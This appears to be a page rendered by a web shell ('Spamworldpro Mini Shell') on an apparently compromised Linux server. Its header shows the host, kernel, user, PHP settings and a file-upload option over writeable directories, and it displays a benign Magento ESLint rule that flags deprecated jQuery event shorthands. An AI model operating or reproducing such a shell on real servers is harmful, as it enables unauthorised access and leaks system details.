Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/magento-coding-standard/eslint/rules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/corals/old/vendor/magento/magento-coding-standard/eslint/rules/jquery-no-event-shorthand.js
module.exports = {
    meta: {
        type: 'suggestion',
        docs: {
            description: 'Disallow the use of shorthand event methods',
            category: 'jQuery deprecated functions',
            recommended: true,
            url: 'https://api.jquery.com/load/'
        },
        schema: []
    },

    /**
     * Executes the function to check if shorthand event methods are used.
     *
     * @param {Object} context
     * @returns {Object}
     */
    create: function (context) {
        'use strict';

        var utils = require('./utils.js');

        return {
            /**
             * Checks if shorthand event methods are used.
             *
             * @param {Object} node - The node to check.
             */
            CallExpression: function (node) {
                var namesToMsg = {
                        'unload': 'jQuery.unload() was removed, use .on("unload", fn) instead.',
                        'ready': 'jQuery.ready(handler) is deprecated and should be replaced with jQuery(handler)'
                    },
                    name,
                    message;

                if (node.callee.type !== 'MemberExpression') {return;}

                name = node.callee.property.name;
                if (!namesToMsg.hasOwnProperty(name)) {return;}
                message = namesToMsg[name];

                if (utils.isjQuery(node)) {
                    context.report({
                        node: node,
                        message: message
                    });
                }
            }
        };
    }
};

Spamworldpro Mini